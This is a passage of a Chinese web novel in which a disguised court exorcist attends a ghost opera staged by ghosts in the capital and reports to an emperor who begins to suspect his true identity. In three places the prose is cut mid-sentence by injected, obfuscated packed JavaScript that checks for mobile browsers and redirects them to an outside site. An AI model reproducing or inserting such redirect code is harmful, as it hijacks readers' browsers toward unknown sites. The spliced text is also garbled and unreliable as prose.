沈青池托着下巴,对“丹澧”的习惯性猜疑褪去后,一些小小的好奇冒了出来:“它伤人么?若不伤人,养着当个宠物倒是很有趣……朕是说,很符合先太子的性情。” 陛下的欲盖弥彰学得挺好。 连雨年眼角微弯,笑得颇为慈祥和蔼,见沈青池眼睛一眯,马上又正色回答:“它伤人,旁人可能未必,但它一定伤陛下你。在弄清它的用途之前,还是让草民带着它,以免再惹出什么祸患。” “嗯,那就如你所说。”沈青池沉沉应了一声,目光扫过“土豆粉”背脊上冒出的人脸,想起东宫地下那两万余具尸体,语气低了下去,“自昨日入宫以来,丹先生屡屡建功,帮朕厘清不少事情,更刻印桃木剑,护住了朕许多近卫、内侍和禁军的性命,居功至伟。” “朕对有功之人向来不吝赏赐,你可有想要的东西?” “赏赐……”连雨年顿了顿,“草民乃世外之人,并无所求。” 他倒不是拿乔装相说空话,确实是没有想要的,或者说,他真正想要的东西世上无人能给,这位天子亦不例外。 “无欲无求的人,朕不敢用。”沈青池起身,从台阶上走了下来,在连雨年身前三步处站定。 通往望月台的小门半开,乍然风来,他的袖摆漫卷扫出一阵宁神香,青色旧衣上花纹疏落,有如烟云缭绕,一如他深得看不清的眼眸。 帝王的猜忌之心啊…… 连雨年心下叹了口气,拱手道:“那陛下便为臣在京中置办一座宅子吧。” “只是如此?” 连雨年想了想:“那再给草民配备一位川菜名厨?” ……跟这种人聊什么帝王猜忌。 沈青池无奈摇头,心情却莫名轻快,甚至轻笑出声:“好。先生嗜辣,朕再赏你十亩地,用来种植海椒。” 连雨年心悦诚服地行礼:“陛下圣明——陛下我还能种点别的吗?” “……” 一国之君事情繁多,聊完正事后连雨年自觉跪安,不打扰他批阅奏折。 从安和殿出来,他找上择青,说明自己接下来的去向。 “先生要出宫看诡戏?”择青下意识地看了眼天色,“诡戏多半在夜里开台表演,先生这会儿去可看不着。” “无妨。”连雨年摆摆手,“开场之前,我正好在京中逛逛,见识见识天子脚下、京畿之地的风土人情。” 择青微笑点头,从袖子里掏出早已备好的钱袋:“这里面是十张一百两的银票和十两碎银、一两铜钱,丹先生收好。” “嗯?” “陛下此前吩咐,无论丹先生要做什么,只要不触犯法纪,都要予您便宜。”择青将鼓鼓囊囊的钱袋塞进连雨年手中,凑近了低声道:“陛下的钱,不是奴婢的俸禄。” 闻言,连雨年攥紧钱袋,上下一抛:“多谢。” 走出皇宫,越过“回”字形的护城河,河的对岸便是帝京百姓生活、居住的地方。 帝京被四条构成“十”字的主街分割成四块,东西两集市,南北两居住区,有诡戏表演的乐坊梨园等地都在东市,那里是天下最繁华的商业区。 连雨年出宫后的第一站就是东市。 身后有几名便装打扮的近卫跟着,连雨年没有甩开他们,见东市车马嘈杂、人流如织,还有意放慢了速度,避免他们跟丢。 反正他戴了面具,不怕被人看到脸再纠缠上。 这里实在很热闹,街道旁挤满了各种商铺,商铺前又有一层小摊,小摊之外还有挑着扁担四处叫卖的脚商,连雨年甚至看到了大白天卖烤肉串的异域人。 不过也是,帝京每双数日有宵禁,今天九月十六,夜里不能开张,也不怪人家特立独行。 连雨年想着,上前买了三串大烤肉,牛羊猪各一串,肥肉相间,滋滋冒油。 共计花费三十文,不便宜。 “客人您可别嫌贵啊!”长着高鼻梁深眼窝的异邦人官话说得可溜,“我这儿用的都是好肉,一串十二块,调料任放,做的是良心买卖!收您三十文,二十文是成本,剩下十文才是压口袋的钱,和其他便宜烤肉没什么区别!” “嗯,我不嫌。买得起的人也不在意这个价钱。”连雨年手头有钱心不慌,探头看铠甲,“多撒点辣椒粉,我爱吃。” “好嘞!”老板把烤串翻了个面,笑眯眯地打量他……脸上的面具,“来我这儿的基本都是老主顾,就好大块吃肉这一口,您这……嗯,面生,我免不了多说两句。” 帝京百姓见多识广,连雨年摩挲了下面具边缘:“你常在这里卖烤串?” “每天。”老板竖起一根手指,“宵禁日就白天来卖,非宵禁日就晚上,除非刮大风下暴雨,一天都不歇。” 连雨年点点头:“那你知道这条街上诡戏唱得最好的是哪一家吗?我是外地人,听说京中最近流行这个,也想去听听。” “啊,那你可就问对人了!”老板顿时眉飞色舞起来,“东市一共有十二家唱诡戏的戏班子,各有特色。但要说谁家唱得最好,必定是挂靠在有家乐坊名下的古家班!” “有家乐坊?”连雨年挑眉,“乐坊的名字就叫有家乐坊?” “对,就叫有家乐坊。”老板咧嘴一笑,似乎经常被人这么问,熟练地解释道:“以前戏院乐坊分家时,那里是顾家乐坊。后来二者合并,顾家乐坊买下了不少戏班子,再用这个名就不合适了,索 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233756|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性改名为有家乐坊,又新鲜又恰当!” “哦。”连雨年面露好奇,“顾家……不,有家乐坊怎么走?” “往前直走,出了路口向右拐弯,靠水靠桥,门前有棵柳树的那家就是。”老板拿起烤好的肉串递给他,“您的肉串,拿好,小心烫!” “多谢!” 片刻后,连雨年坐在有家乐坊的二楼包间,用精致茶点和水果佐肉串,看台上演员唱戏。 奉茶婢女端着托盘走上前来,盘子里装着一枚玄色玉牌,牌上刻着“首一”二字。 “客人,这是您的票牌。”婢女说道,“今夜子时持此玉牌上三楼,可以入场观看诡戏。” 连雨年拿起这枚花了自己……不,花了陛下五百两的票牌,指腹摩挲过去,极似玄玉瓮的材质手感令他眯了眯眼。 “今夜的戏目是什么?” 婢女垂头:“?武魁斩鬼?。” …… 子时初刻,连雨年登上有家乐坊三楼,向守在楼梯口的人出示票牌,被一名蒙面包头的侍从引到位置上就坐。 花沈青池钱办自己事儿,连雨年当然不会客气。他买的是视野最佳的第一排中间的票,两边坐着的不是富商就是高官,衬得荆钗布衣还戴了面具的他格外引人注意。 好在坐在他右手边的是刑部尚书许鉴,为他吸引了半数火力,加上戏台周边光线晦暗,大部分人只看了他一眼便收回目光,以免冒犯贵人。 许是诡戏性质特殊,戏台里点的是一种暗红色的蜡烛,光线幽冷黏稠,错落地打在戏台上,仿佛凝固的斑驳血斑。 戏台宽达五十米,置景是夜晚的山林,假山石间掩映一座破败的庙宇,红光照着那油漆剥落的青灰门槛,格外瘆人。 扮演武魁的演员在一片寂静中登场,身长七尺,膀大腰圆,面容颇为英俊,却被涂抹得面青嘴红,无需额外的装饰,看着就像刚从地狱里爬出来的恶鬼,阴森骇人。 “这是武魁斩鬼?”许鉴嘟囔,“看着像武鬼斩魁。” 连雨年本来还觉得心里毛毛的,听到这话忍不住“噗嗤”一声,在他扭头看过来时立马捂嘴,低声道:“我想起高兴的事。” 异界人不懂他的幽默,但懂此地无银三百两,许大人撇撇嘴,语气毫无平仄地“哦”了一声。 两人简短地交谈之时,台上已经开演了。 服装、模样各异的“鬼”流水线一般上台与武魁交手,招式精妙,武艺卓绝,却都不敌武魁的力能破巧,被一个个砍了脑袋卸了手脚,再扔下台去。 值得一提的是,那些“鬼”穿着人的衣服,却都长着兽头,而且都是从破庙里面出来。 武魁打败一只“鬼”,破庙顶上字迹斑驳的牌匾就碎一块,仿佛它们是这座庙存在的根基。 没有唱词,没有剧情,只有精彩却一成不变的打戏。打到精彩处,场中也无人叫好,只有拳风腿劲划破空气的锐响,衬得场下静得离奇诡怖。 一种不可名状的氛围流荡开来,拨颤无声的诡谲旋律。连雨年只感觉自己胸腔里的心跳慢慢跟着乱了调,耳边长长地拉开一圈耳鸣尖啸,产生类似坠入深海、与世隔绝的阴晦恐惧。 原来如此。 连雨年若有所思地想,所以才是“诡戏”,而非“鬼戏”吗? 11. 十一 “嗒嗒——砰!” “嗒嗒——砰!” 节奏缓慢的鼓点突然响起,好像自极远的地方传来,空灵的回音重叠复沓,敲击的是听众的耳膜,却让他们的心也跟着颤。 台上的武魁杀够了十二只鬼,庙门上的牌匾也碎了满地,寒风穿门而过,扬起呼啦啦的响声,尖锐刺耳。 连雨年和许鉴坐在第一排中间,正对着那扇黑洞洞的门,也便被这阵风劈头盖脸吹个正着。 许鉴浑身一哆嗦,偏头打了个喷嚏,连雨年则屈指轻叩面具,“笃笃”两声轻响下荡开微波,扫除扑面而来的寒意。 武魁一步迈进门框,庙门被人飞快地抽下台,露出后方的布景。 一座莲花台,上有金身神像,却非人非神,非佛非道,只是一道道盘曲虬绕的烟雾簇拥着一截枯死的槐木。 武魁跪在神像前,用抑扬顿挫的语调说明自己此前的作为,那平仄险峻的唱腔令连雨年想起了玄玉瓮中怪物唱的那首曲子,不禁直起腰,身体微微前倾,认真倾听。 待他说完,莲花台周边突然喷出数股烟雾,烟云缭绕间,枯木幻化为一位青裙荆钗的女子,眼尾有金箔贴成的叶子纹路,端庄典雅,高贵如神。 “这是怎么做到的?”许鉴讶异地低声问。 台上的烟雾并不能遮蔽视线,但那座神像却是凭空变成了这名女子,甚至连变戏法用的幕布都没有。 倘若是之前看到这一幕,许鉴只会认为是某种江湖术法,但…… 刚重组完世界观的尚书大人看了看身边的“丹先生”,油然而生一股迟疑和敬畏。 连雨年笑着摆摆手,示意他继续看。 女子手臂间挽着一节枯枝,沉静悲悯地垂视武魁,忽然将树枝掷出,洞穿他的心脏,将他钉在台上。 许鉴惊得正要跳起,被连雨年按下。周遭的人仍旧不发一声,似乎都在全神贯注地看着接下来的剧情。 “孽障。”神明沉声道,“汝身已亡,魂化厉鬼,四处杀人,犯下此等罪孽后竟敢来吾面前邀功请赏,何其荒谬!看看你身边的怨魂吧,看看那些为你所杀之人的面貌,既已堕落,何必再以执念遮眼!” 她话音未落,周身的烟雾里又凭空浮现一道道人影,是被武魁杀死的那十二名兽头人。 他们摘下兽头头套,露出惨白的脸,神情狞恶恐怖,比之先前的“面目”居然更加骇人。 武魁瞪大双眼,大喊:“我是恶鬼……我是恶鬼?我是……恶鬼……” 凄厉的尾音淹没在怨魂噬咬恶鬼血肉的咀嚼声里,武魁的身躯被撕咬得七零八落、支离破碎,被那十二只鬼大口大口地吞噬。 神明旁观,待得地上只剩一件沾满碎肉血污的衣裳,方发出长长一声叹息。 “叹世间——” “人心如兽,神明不怜——” “好心肠的鬼要被命运作践——” “他们说那清平盛世,欢愉人间,哪里去见——” “又来啊……” “又来把我骗。” 不知从何处传来的歌声幽幽回荡,卷着凄寒的风吹散了台上轻烟。十四名戏子朝台下鞠躬谢幕,片刻后,周围掌声雷动,响亮又齐整。 许鉴额前渗出了一层薄汗。 一场诡戏演了一个时辰,出来时已经是丑时初刻。 月光如雪,连雨年揣着手走向皇宫,沿途许鉴看了他好几眼,欲言又止,脚步缓慢。 “许大人想问什么?”连雨年笑道,面具下的眼睛幽黑深静,却莫名把清冷的月光都揉得软暖。 许鉴轻咳一声:“刚才那场戏……最后一折出现了许多怪异场景,丹先生可看出什么端倪?” “许大人是想问它们是真是假吧?”连雨年唇角上扬,在许鉴点头之际,毫无预兆地答道:“是真的。不过演出它们的不是人,而是鬼,所以可以来去如风,被穿心也不会死。” 当然,里面也有例外,那尊神像幻化而成的女人给他的感觉不像鬼魂。但这就没必要细说了,毕竟他也还没弄明白。 许鉴猛地刹住脚步:“……啊?!” 连雨年不急着解释,而是慢悠悠地问:“许大人是花钱买票看的戏吧?你的票牌上刻着什么字?” “这……”许鉴到底是一朝重臣,很快便压下心底山呼海啸般的惊惧,镇静道:“应是写着……末九。” “我的是首一。”连雨年说着,冷不丁笑了一下,听得许大人背后发毛,“首一与末九,一是初始,九是极数,前面偏偏加了同样意思的首末,而且都在第一排中间的位置,这种标数方法不常见吧?” “闻所未闻!”许鉴脱口而出的瞬间明白了他的意思,“丹先生的意思不会是……” 连雨年道:“你还记得诡戏演出时其他看客的反应吗?无论是开始的打斗还是后来的诡异演绎,那些人都没有任何反应。许大人如此稳重的人尚且会为枯枝钉入戏子的心脏而震惊,其他人却似熟视无睹,除了最后的掌声,他们甚至连呼吸声都没有发出。” “……” 连雨年笑眯眯地拍他肩膀,把他吓一激灵:“许大人,一群鬼在台上给我们演了一出戏,一群鬼在台下陪我们看了一出戏,如此服务态度,可见五百两没白花。这个戏班子也是有趣,给钱他是真办事啊。” “……” 许鉴眼角抽动:“丹先生,不好笑。” “不好笑吗?好吧,说正事。”连雨年摊手,“诡戏和鬼戏一字之差,有活人看便是前者,没活人看便是后者,至于戏目,应当是一样的。” 换句话说,那只怪物最后留下的曲子就出自某折鬼戏。怪物没有理智,戏是怨魂们生前听的,而如今世上还存有鬼戏的地方,就只有上古巫术发源地——丹桂乡了。 “刚出来又要回去……”连雨年咕哝,“白跑一趟。” “……谢过先生救命之恩。” 许鉴脑子转了半晌,终于恢复冷静,第一时间向连雨年表示感谢。 之前看戏时他几番差点失态,都是连雨年及时按住了他。若非如此,真让他闹将起来,惹恼了那群鬼,今夜他怕是凶多吉少。 “说来惭愧。”他叹息道,“陛下得知先生独自看诡戏,担心你被暗算,才命我跟随,结果却是我险些连累先生。” 怕他被暗算,还是怕他藏线索? 连雨年没有戳穿尚书大人的善意修饰:“大人言重了,我倒庆幸有你陪着,否则只我一人被群鬼包围,还真是很瘆人。” 许鉴想想那副场景,竟然觉得他说的有道理。 两人又寒暄几句,便在宫门前分开。连雨年过了护城河,择青已经在偏门等着他了。 “陛下还没睡?”连雨年走上前去,随口问道。 “是。”择青笑着点头,“倒不是特意等先生您,陛下素来少眠,一夜睡不了两个时辰,加之国事繁重,因而总是睡得晚。” 连雨年沉默片刻,轻声道:“劝陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233757|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意身体。” 择青刚要答“是”,忽然觉得这语气有些熟悉,不由得顿了顿脚步,看向连雨年的背影。 他背脊挺直,步履稳健,想来哪怕是放碗水在头上,也不会有一滴水溅出来。 行走速度平缓,自有韵律节奏,每一步的距离像是经过精心测量,分毫不差。 那分明是皇室中人才会有的仪态,为什么这位长在乡野的丹先生也…… 择青蓦的悚然一惊,及时掐断这个正在滑向深渊的猜想。无论是哪种猜测,他都不该探究。 至少在妖蛊教之事解决之前不可以。 …… 安和殿内,连雨年删繁就简地将今夜看诡戏的经历同沈青池说了一遍,一面讲一面观察他的表情变化。 在看到泰山崩于前而面不改色的陛下一时惊诧,一时蹙眉,一时怀疑人生的丰富神态时,连雨年颇觉有趣,熬了个大夜的困倦都消散许多。 “……朕听明白了。”沈青池把刚批完“狗屁不通”四个字的请求他选秀的折子扔到脚边,以手支头,屈起指节按揉太阳穴,“先把你的面具摘下吧,朕看了……” 他停顿一下,把“发毛”换成“烦”。 连雨年摘下白面面具塞进袖兜:“鬼戏——人鬼的鬼——的发源地在丹桂乡,给人看的诡戏大抵是由此脱胎而来,至于是谁将前者改编成后者,有待查探。是否要前往丹桂乡调查一二,也需陛下定夺。” 沈青池道:“第一件事朕已经派人在查了,不日便有结果。待调查结果出来,再考虑第二件事吧。” “陛下圣明。”连雨年拱手。 沈青池的手指揉到了眉心,正事说完也不放人走,就这样沉默许久,在连雨年打完第三个哈欠,才懒散地开口:“听闻丹先生会画一种助眠符?” “啊?”连雨年猝不及防被问愣了,“对,是有这种符,陛下需……” 话未说完,他突然后知后觉地反应过来刚才择青为何莫名提起沈青池睡眠不好的事,心内感叹着远离皇宫太久,他的反应神经也迟钝了,手上则利索地掏出助眠符存货献上去。 择青正要去接,沈青池却突然起身走下台阶,衣摆撩翻地上的折子,裹着一股陈旧得近乎腐朽的宁神香走近他身前。 连雨年皱眉,将助眠符又往前递了一点:“陛下,熏香不宜过重,还望保重龙体。” “嗯。” 沈青池拎起金符展开,正面“好眠好梦”,背面“少思少虑”,落款“丹家专属,盗版必究”,本应是主角的符文却环绕于字的周围,委委屈屈地挤在边边角角里。 他瞥了眼丹澧先生清艳的脸,轻轻笑了一声。 本是玩笑话语,被揭开后却让连雨年没来由地有些窘迫,习惯性挠挠耳廓。 这个动作让沈青池一阵恍惚,那道若隐若现的故人旧影再次从连雨年身上浮现,让他感觉自己疯了。 他把符纸叠好塞入怀中,正想转身,却突然忍不住问:“丹澧先生,世上可有死而复生之人?” 连雨年神情自若:“草民认为,大抵是没有的。” 沈青池不置可否,回到案前坐下:“夜已深了,先生回去休息吧。” 连雨年行礼告退,退到一半,听见他又说:“朕派许鉴与你同看诡戏不是怕你藏匿线索,先生莫要误会。” 连雨年愣住。 啊这…… 沈青池是在向他解释吗? 这家伙学会跟人解释了? 12. 十二 沈青池的性情并不乖戾,事实上,无论是九皇子时期还是如今贵为天子的他,待人处事都算温和。 但他既然得先帝亲口称赞“帝王心术学得最佳”,真实性格自然不可能是表露给外人看的那样。 沈青池自出生便丧母,受生父冷落,祝贵妃待他说不上差,却也只是给他普通皇子的普通待遇,旁的一概没有。加上上头长兄压制,身边虎狼环伺,十数年如履薄冰。 没有母亲,父亲有不如没有,身边没几个真心相待的人,物质生活的富足反衬得他的情感世界无比贫瘠,在外界一片腥风血雨的情况下,他只能向内求索,向各种书籍扎根深研,养成了极为内敛的性格。 一般而言,上头的人要惩罚沈青池,他是不会有解释的机会和资格的,只能接受,然后在受完罚后行礼谢恩。 正因如此,随着年岁渐长,他的心思越发深沉,行事缜密,习惯谋定后动,走一步算十步的谨慎更是让他无师自通了“闭口禅”,轻易不会向人解释什么。 连雨年却与他不同。在现代的那一世完善了他的人格与思想,他知道如何与人正确相处,擅长处理细腻的人际交往,尤其懂得治沈青池这种表面不闷内里闷的闷葫芦。 过去很长一段时间里,都是他想方设法去撬开沈青池的嘴,逼他说出委屈,逼他吐露真心,逼他释放情绪。 沈青池受了伤把牙咬碎了都不会落泪,这种时候,连雨年便会在帮他处理伤口时稍稍用力,既为他清洗伤口,也挑开他心头沤出的脓包,让他不至于被人世间的风霜雨雪逼成更阴暗狠厉的样子。 只可惜,连雨年用了十四年也没教他学会主动解释,主动展露内心,主动表达感情,只能在他对自己说着半真半假的话语时拍他一下,提醒他少对自己玩心机。 连雨年怨他,怨的何止是他在登基大典上的缄默冷酷?还有那十四年一往无前却鲜有回应的付出,以及到死都没能真正做到的交心。 现在,此刻。 站在沈青池面前的人变成了丹澧,他一直猜忌,从未信任的丹先生,却竟然得到了他的一句解释? 都说至高无上的皇权会异化人的心志,怎么还有往好的方向异化的? 还是说沈青池的个性底子太差,所以再怎么异化也是改善? 连雨年笑了一下,苦得仿佛在藤上挂到八二年的风干老苦瓜。 目送“丹先生”离开,择青小心翼翼往沈青池那边看了一眼:“陛下……方才是在同丹先生解释吗?” 沈青池翻开奏折的手一顿:“……朕还需要用他,不想现在就与他离心,耽误正事。” 择青立马垂头应“是”。 陛下说什么是什么,他没有意见。 安和殿里安静下来,灯花爆开一声“噼啪”轻响,被侍女及时剪去。 沈青池忽然没了看奏折的心思。 那句解释脱口而出时,他比任何人都震惊。这是件再小不过的事,除了身边寥寥几个亲近之人,没有人会感到奇怪。 尽管他自己都觉古怪。 沈青池想了很久,实在捕捉不到说那句话时的幽微心绪,便将其归结于从“丹澧”身上看到连雨年的习惯性动作而想起故人,进而产生的“并发症”。 那个会逼他喊疼,哄他说什么好吃什么难吃,用两坛好酒换他一句心事的人已经不在了。 有些习惯想改也能改,只是从前的他舍不得故人的温言软语,如今的他已不必再为谁改变。 沈青池放下奏折,一阵倦意毫无征兆地涌了上来。他打了个哈欠,眼皮子沉得好似坠了两个秤砣,直往下倒。 择青见状,看了看天色,发现他的困意比平时来得早了许多,脸上闪过一丝欣喜,急忙上前问:“陛下可要就寝?” 沈青池点点头,抚着胸口,按住襟袋里那张符纸喃喃道:“还真管用。” …… 夜风吹散了连雨年的郁结。 他踏着月色走回惠仪殿,园中栽的几株桂花半开半谢,地上枝头一片碎金,在如水的月光里摇乱清波。 在生死之间走过两遭,连雨年对许多事都看得很开,说是怨着沈青池,其实也没想过如何,否则以他如今的本事,有的是手段对付一个空有名头并无天命的人皇。 作为史书中“相”的源头,神话时代的开拓者之一,丹家传承的厚度与烈度足以颠覆一个王朝。 只要有对应的力量,能够催发传承下来的术法,翻天覆地,一人足矣。 但只为他心中一点不平就干这种大缺大德的事儿,实在有负他两世所受的教育,也不是他的性格。 “办完事就离开。”连雨年低声道,“还是之前在丹桂乡的生活更适合我。” 微风拂动花枝,吹了几朵开得正好的桂花落在他肩头。 连雨年一一拾起,笑着说了句“多谢馈赠”,便快步走向寝殿。 脚步轻快,并无忧愁。 接下来一旬时间,连雨年过上白天出宫公费吃喝玩乐,晚上回宫一觉睡到自然醒的生活,惬意得他都想收回“还是之前在丹桂乡的生活更适合我”这句话了。 人类的本质就是打脸和真香啊。 “丹先生是拿皇宫当客栈了么?” 收到诡戏的调查结果,沈青池让择青去请连雨年,却听说他一早便出宫买烤串,顿时哭笑不得。 白歌庭一身粗布短打,朴实无华,不似暗卫首领,放到田间地头,能完美融入到三姑六婆二舅七伯之间去。 他笑了笑,看上去颇为温和:“丹先生这几日得空,快把帝都逛了个遍,陛下请稍候,臣这就让人将他唤回来。” 他话音未落,有个小内侍便进来通报:“陛下,丹先生到了。” 沈青池轻笑:“他倒是心思玲珑,让他进来吧。” 小内侍应声退下。 少顷,连雨年一边快步走进安和殿,一边摘下面具挂到腰间,淡蓝色棉衫被他穿出了丝缎华服之感,长发随意束起,木钗斜斜地穿过发髻,鬓发蓬松,衬得他面若芙蓉,姿容华艳。 沈青池抿嘴笑道:“丹先生气色好了不少,看着都富态了。” 择青和白歌庭咬住后槽牙,佯装没听懂陛下说了什么。 连雨年捏捏新长的脸颊肉,幸福地叹息道:“帝都的风水养人啊。” 来自天南海北的各色美食也是。 说笑几句,沈青池直入正题:“丹先生来得正好,诡戏的事白暗卫已经查到了些东西,和朕一起听听。择青,给他们看座。” “是。” 等连雨年坐定,白歌庭开口道:“诡戏最早兴起于南疆一带,先帝在位时……总之是南疆六城沦陷后,由于南夭国的侵占掠夺,城中死伤无数,十室九空,侥幸活下来的人与尸骸、坟墓、战乱为伴,那几座城也被当地人形容成人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233758|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼共存的世界。” “之后有一个戏班子到了那里,班主心善,本是想借唱戏缓解一下南疆百姓心中的伤痛。但在得知他们心中对支离破碎的家乡的看法后,便在某个夜晚开锣唱了一折鬼戏,以慰枉死的游魂。” “再之后,鬼戏逐渐演变为诡戏,人与鬼同席同听,相互陪伴,也互不干扰。可以说,这是一个有着鲜明地域特色的剧种,直到陛下发兵收复南疆,诡戏才在这过程中一并传到帝都。” 沈青池看了连雨年一眼,他点点头——和我想的一样。 “南疆六城沦亡是在昌平十九年。”择青像是提醒一般说道。 他与白歌庭都默契地没提起先帝,沈青池也明白他们的谨慎,点头道:“南疆六城被占去后,父皇威望大减,不得已被前朝大臣逼着立储,仓促之下只能选择年龄、能力都最合适的皇长子。” 事实上,先帝并不十分满意这位太子,不仅是因为自己是被逼着立的他,也因为大皇子的容貌和性情都更像祝贵妃。 祝家是文臣世家,深耕盛朝百年,高官不多,却出了很多言官清流,以敢于谏言闻名朝野。 祝贵妃自幼受父亲教导,对待先帝与其说是妃嫔,不如说是女官。先皇后在时她辅佐其管理后宫,先皇后去世后她独掌大权,把宫闱经营得寻不出一丝缺漏,反而衬出先帝在治国才能上的平庸。 当然,能力出众,并不妨碍她生出别样的欲/望,与临安王私会多年不被先帝发现一事,更充分体现了她的才能和心思细密。 大皇子学会了祝贵妃的缜密机心,滴水不漏,自然为先帝所不喜,哪怕这个儿子在不择手段这一点上像极了自己。 后续的夺嫡之争、谋反之乱,大部分原因也都在先帝身上。 白歌庭奉上调查结果,继续说道:“第一个表演鬼戏的戏班是顾家班,他们……” 连雨年冷不丁打断:“顾家班,还是古家班?” 白歌庭一愣,看了看上首的天子,见他点头才说:“是顾家班,顾盼的顾。这个戏班三年前就解散了,说是台柱子死于南夭国士兵之手,许多鬼戏词曲也跟着散轶民间。我查过,顾家班唱的很多鬼戏曲目都能在最近流行的诡戏中找到影子,无论是剧情还是词曲。” 沈青池点点头:“丹先生,你为何有此一问?” 连雨年摩挲着下巴:“陛下登基之后,命乐坊梨园合并,帝都原本有个顾家乐坊,合流后买了些戏班子,更名有家乐坊,诡戏唱得最好的一个戏班叫古家班。” 白歌庭皱眉:“丹先生那夜与许大人一同看的诡戏,莫非就是古家班演的?” “对。”连雨年勾起嘴角,“那个戏班子可有意思,唱戏的是鬼,陪我们听戏的也是鬼,前者是他们出名的根基,后者属于陪伴服务的一部分,周到。至于班主和在外走动的成员是不是鬼,我没见过,不好说。” “……” 在场的三个普通人类不能理解他的轻松态度和信手拈来的“玩笑”,暗自平复起了一身的鸡皮疙瘩。 “丹先生是怀疑古家班和顾家班有关?”白歌庭。 连雨年正要点头,就听沈青池沉声说道:“不管是否有关,去查查。那么多不知跟脚的鬼魂聚集在帝都,朕想起来都睡不好觉。” 白歌庭连忙应下:“是!” 连雨年挠挠鬓角。 说得像没有鬼你就睡得好一样。 13. 十三 古家班的来历比诡戏起源好查,入夜便递送到了陛下案上。 连雨年被择青叫过来的时候,沈青池刚看完折子,见到他顺势朝他招手,示意他上前,把折子递了过去。 “看看吧,你要的古家班资料。” 连雨年接过翻开,看了两行才想起没行礼,正要补上,就见沈青池摆摆手:“免了免了,且去坐着细看。” 连雨年从善如流地拱手:“谢陛下。” 择青在旁瞧着,觉得他们的相处越发熟稔了,也不知对丹先生而言算不算好事。 连雨年艺高人胆大,并不在意沈青池对他的厚待里有几分真心、几分猜忌、几分利用,真到了要被清算之时,他打不过千军万马也跑得了,因而懒得深思。 坐到侧面椅子上,他仔细查看资料。沈青池眸光沉沉地看了他半晌,冷不防让人给他上茶。 小内侍端着茶盏缓步上前,连雨年大部分注意力放在阅读上,不及多想,下意识用左手接过喝一口。 宫里的茶都是加盐加糖煮出来的,说是依循古法,比之滚水泡茶风雅。但烹茶很考验手艺,手艺好,煮出的茶便是醇香清冽,清甜可口。手艺差上那么一点,甜味就会被咸涩盖去。 连雨年喝的这杯估计就是手艺略差之人煮的,他咂咂嘴,随口咕哝道:“怎么糖又放少了?” 说完,他习惯性地想把杯子放到左手边——却忘了自己身前没有几案。 眼看他的手就要松开,茶盏即将落地摔个粉碎,沈青池瞳孔骤缩,小内侍也急急忙忙伸手去接。 这时,一股莫名的危机感攥住连雨年的心脏,他条件反射地抓紧茶杯,一时来不及收力,生生将青瓷杯盏捏成碎片。 瓷杯碎片、碎末混着茶水泻出指缝,仿佛在他指间下了一场淅淅沥沥的雨。 小内侍愣在原地,择青也愣住,沈青池更是豁然起身,望着他的眼神明暗不定。 “……” 连雨年松开手指,向沈青池请罪:“草民无意惊扰陛下,望陛下恕罪。” 沈青池死死盯着他,神色漠然,威严深重,整个人像一把拉满的弓,仿佛又回到登基大典那日,只是不再需要冕旒遮挡也能令人看不出喜怒。 择青与小内侍为他气势所慑,大气不敢出,唯独连雨年坦然自若。偏偏他这副惹毛了人后云淡风轻的模样落在沈青池眼里,愈发贴近他记忆中那道身影。 恍惚间岁月倒流,安和殿内明亮的灯火聚成书案上一盏烛灯,侍从端着消暑的莲子茶走到近前,沈青池先递一碗给对面专心致志读书的人,他接过喝了一口,随手放在左手边,笑着抱怨: “糖又放少了……” “陛下?陛下?” 择青的呼唤由远及近,在沈青池耳畔如惊雷炸响,终于将神游天外的他拉回现实。 他看着台阶下躬身请罪的人,忽然急走几步到连雨年近前,右手在袖中颤抖良久,方勉强恢复平稳,虚托了一把他的手腕。 “……是朕失态,与你无关。” 沈青池喉结滑动,咫尺之距让他与面前的人呼吸相闻,那张脸仍然陌生,却清晰可触,不再是梦都不肯许他一个的绝情模样。 他想再问一遍世间是否有人能死而复生,但喉头滞涩钝痛,难发一言,迟疑良久,还是咽了回去。 大抵是没有的。 这就是他的答案。 沈青池收回手,袖摆落下的瞬间,他恢复成了高高在上的帝王,平静而孤矜地坐回桌案后。 “择青,带丹先生下去换身衣衫。” 择青与连雨年交换了个不明所以的眼神,觑到他被茶水打湿的袖摆后了然应是,带连雨年去了侧殿。 片刻后,换了一身青色华服的连雨年不太自在地回来,风姿绝艳,耀若星流,一入内,殿里都亮了好多。 可他毫不关注这些,低头捋着广袖、衣襟上略有褶皱的繁复花纹,动作拘束,一味想着小心不嗑到腰间垂落如帘的珠玉环佩。 